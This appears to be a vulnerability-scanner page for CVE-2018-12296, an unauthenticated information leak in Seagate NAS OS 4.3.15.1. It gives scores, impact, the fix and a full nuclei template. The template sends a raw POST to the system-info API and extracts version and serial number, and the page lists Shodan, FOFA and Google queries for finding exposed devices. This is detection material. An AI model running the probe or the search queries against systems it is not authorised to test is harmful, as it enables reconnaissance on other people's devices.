Seagate NAS OS 4.3.15.1 - Server Information Disclosure

highseverity

7.5CVSS score

11.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos.

Impact

An attacker can gain sensitive information about the server, potentially leading to further attacks.

Fix

Upgrade to a patched version of Seagate NAS OS.

How to confirm it

Send: POST /api/external/7.0/system.System.get_infos
Positive when: contains "\"version\":" and "\"serial_number\":"

Run it with nuclei: nuclei -id CVE-2018-12296 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-12296

info:
  name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure
  author: princechaddha
  severity: high
  description: Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos.
  impact: |
    An attacker can gain sensitive information about the server, potentially leading to further attacks.
  remediation: |
    Upgrade to a patched version of Seagate NAS OS.
  reference:
    - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12296
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12296
    cwe-id: CWE-732
    epss-score: 0.11337
    epss-percentile: 0.96016
    cpe: cpe:2.3:o:seagate:nas_os:4.3.15.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: seagate
    product: nas_os
    shodan-query: http.title:"seagate nas - seagate"
    fofa-query: title="seagate nas - seagate"
    google-query: intitle:"seagate nas - seagate"
  tags: cve,cve2018,seagate,nasos,disclosure,unauth,vkev,vuln

http:
  - raw:
      - |
        POST /api/external/7.0/system.System.get_infos HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}

    matchers:
      - type: word
        part: body
        words:
          - '"version":'
          - '"serial_number":'
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - '"version": "([0-9.]+)"'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from